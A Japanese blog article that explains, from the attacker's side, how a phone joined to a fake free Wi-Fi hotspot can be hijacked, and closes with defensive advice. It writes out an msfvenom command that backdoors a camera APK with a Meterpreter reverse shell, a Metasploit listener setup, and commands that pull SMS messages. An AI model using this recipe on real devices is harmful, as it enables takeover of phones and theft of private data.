無料Wi-Fiからスマホが乗っ取られる過程について
概要
先日TVのハッカーを紹介する番組において「無料Wi-Fiに繋いだからスマホが乗っ取られた」という紹介がなされた。
この紹介は非常に誤解を生む表現だ。
当たり前だが無料Wi-Fiに繋いだだけで、ハッカーにスマホが乗っ取られることはありえない。無料Wi-Fiに繋ぎ、その後乗っ取られるまでには多くのステップが存在する。
誤ったサイバー攻撃に対する知識は、誤った対策を生み、それらはかえってユーザを危険に晒してしまう。
本記事では無料Wi-Fiに繋ぎ、スマホが乗っ取られるまでの過程を攻撃者目線で追うことで、スマホにとって何が脅威かを確認する。
なお、本記事で紹介した技術を公共の場所、許可されていない他人に使った場合犯罪となるため、実験は自身の端末のみに行ってほしい。
罠Wi-Fiアクセスポイントの配置
まず前提として「無料Wi-Fi」に繋いだからと言って、ハッカーに攻撃されるわけではない。
正確に言うなら「ハッカーの用意した無料Wi-Fi」に繋いだ場合、スマホが危険に晒される。
そもそも無料で誰でも使えるWi-Fiとはどのようなものか?
多くの場合、誰でも使えるようにパスワードが設定されていない、あるいは誰にでも見えるところにパスワードが設定してあるWi-Fiだと考えられる。
そしてこのWi-Fiのアクセスポイントは攻撃者であるハッカーも自由に設置することが可能だ。
アクセスポイントはノートパソコン1台あればどこででも自由に配置することができる。
そしてこのアクセスポイントには自由に好きな名前を付けることが可能だ。
ここで、あるカフェの無料Wi-Fiのアクセスポイントと同じ名前のアクセスポイントを設定し、カフェの中心で起動させたらどうなるだろうか?
一般的に、各端末は同じ名前のアクセスポイントがある場合、電波強度の高いアクセスポイントを選択する。
つまり、ハッカーが強い電波でアクセスポイントを設定した場合、ユーザは罠のアクセスポイントに繋ぎにいくことになる。
基本的には、この罠Wi-Fiアクセスポイントを見破る手段はない。
例えばパスワードを公開していなかったり、認証サーバを用いればある程度防ぐことは可能だが、無料(パスワードなし)の場合、一般人には見破ることが難しい。
そのため、無料Wi-Fiは危険といわれるのだ。
罠Wi-Fiアクセスポイントができること
では、ハッカーの用意したアクセスポイントに繋いだ場合、何をされるのか?代表的な例は以下だ。
・通信が盗聴される
・罠サイトに誘導される
まず、「通信が盗聴される」だが、これは「暗号化されていない通信」だった場合である。
最近のWebアプリはクレカ情報やパスワードを入力する場合、必ず暗号化されたhttpで通信を行っている。そのため、盗聴については実は危険度は低い(ただし、httpでの通信は意識して控えよう)。
次に「罠サイトに誘導される」である。
これがスマホの乗っ取りに繋がる。
罠アクセスポイントはブラウザを開いた際にリダイレクトするサイトを指定したり、DNS情報を自由に編集することができる。
つまりユーザを自身の運営する罠サイトに誘導することが可能だ。
この罠サイトから攻撃用のスマホアプリをダウンロードさせ、それを実行させることでスマホを乗っ取るのが最も簡単な手法だと考える。
攻撃用スマホアプリ
次は攻撃用アプリを開発する。
攻撃アプリの内容としては自身のIPアドレス「192.168.0.81:4444」に対して、アプリを開いた端末から通信を確立し遠隔操作を行う。
アプリの開発には攻撃ペイロードを自動で生成するmsfvenomを利用する。
まず、一般的なアプリに見せかけるため、攻撃ペイロードを仕込むためのサンプルプログラムをダウンロードしよう。
Download CameraSample 1.0 APK | downloadAPK.netてすてすTesutesudownloadapk.net
本記事ではサンプル用のフリーのカメラアプリ(CameraSample.apk)をダウンロードした。本アプリはカメラを起動するだけの機能を持っている。本アプリに攻撃ペイロードを仕込んでみる。
msfvenom -x CameraSample.apk -p android/meterpreter/reverse_tcp LHOST=192.168.0.81 LPORT=4444 -o backdoored.ak
4Mbyteほどのアプリが完成した。
自信のサーバでWebサーバを立ち上げ、罠サイトにこのアプリを配置しよう。
また、相手がアプリを開いた時に備えて通信の受け入れ準備も行う。
Metasploit内モジュールの「exploit/multi/handler」を使用する。
自信のIP、想定するペイロードを設定し、通信を待ち受けよう。
msfconsoleuse exploit/multi/handler
exploit
罠サイトへの誘導とアプリの実行
さて、本攻撃を成立させるうえで最も難しい点は、「用意したアプリをユーザに実行させる」ことだ。
例えば偽のアクセスポイントに繋ぎ、ブラウザを立ち上げたら下記のサイトにリダイレクトする設定になっていたとしよう。
見るからに怪しいサイトだが、意外にもダウンロードボタンを押してしまう人は存在する。また、上記のような雑なサイトではなく「本物っぽいサイト」であれば、さらにボタンをクリックする人は増えるだろう。
ではダウンロードをクリックし、不正なアプリをインストールしようとしたらどうなるか?
まず以下のように注意喚起のメッセージが流れる(Android 8.0の場合)。
ユーザは迂闊にもこれらの注意を無視し、インターネットに繋ぎたいがために許可したとしよう。
次に以下の様なインストール時の注意が行われる。
簡単にいえば、「端末のあらゆる機能が使用されます」という注意喚起だ。しかし、これらの注意をまじめに読む人はほとんどいない。
インストールするとアプリを開くか聞かれる。
アプリ名・アイコンは実在する正しいアプリであり、多くの人は怪しさを感じないだろう。「開く」ボタンを押す。この時点で本スマホは乗っ取られる。
攻撃者の操作
先ほど準備しておいた攻撃者のサーバを見てみよう。
まず通信が自身のIP「192.168.0.81」とスマホ「192.168.0.21」で確立していることが確認できる。
また、調査用ツールとしてMetasploitのモジュールの一つであるmeterpreterが起動している。sysinfoコマンドを実行すると、確かにアプリを実行したスマホの情報が出力されていることが確認できる。
これらコマンドを使うことで、ほとんどのスマホの操作を実行でき、また情報を抜き出すことができる。
例えばsms_dupmコマンドを実行すれば、スマホ内のsmsメッセージが全て取得可能だ。
他にもSMSメッセージをリモートで送信することや、スマホカメラを操作すること、内部のファイルをダウンロードすることなど、ほとんどすべてのことが可能なる。
まさに「乗っ取られた端末」となった。
対策とまとめ
本記事では無料Wi-Fiの利用から端末の乗っ取りまでの流れを実例を交えて解説した。
最後にスマホを乗っ取られないためにはどのような対策が有効かを考察しよう。
・無料Wi-Fiには攻撃者の罠があることを想定する
・GooglePlay, AppStore以外からアプリをダウンロードしない
上記が気を付けるべきことになる。
1点目は無料Wi-Fiである以上リスクを許容するべきだ。攻撃者は巧妙なサイトや文言であなたに危険なアプリをダウンロードさせようとしてくるだろう。それらを素人が見破る方法はないと考えた方がいい。そのため、無料Wi-FIは常に罠であるリスクを想定して利用するしかない。
2点目は最も重要な対策だ。基本的に正規のアプリストアを通さないアプリは全て危険なアプリと断定して問題ない。本記事でも解説したように、悪意のアプリを実行した場合、簡単にスマホが乗っ取られる。そのため、正規のアプリストア以外からは一切ダウンロードしないことが大切になる。
他にもセキュリティソフトを導入する等の対策があるが、これらは攻撃者とのイタチごっこが続いているため確実性がない。
とにかく怪しいアプリはダウンロード・実行しないことを徹底してほしい。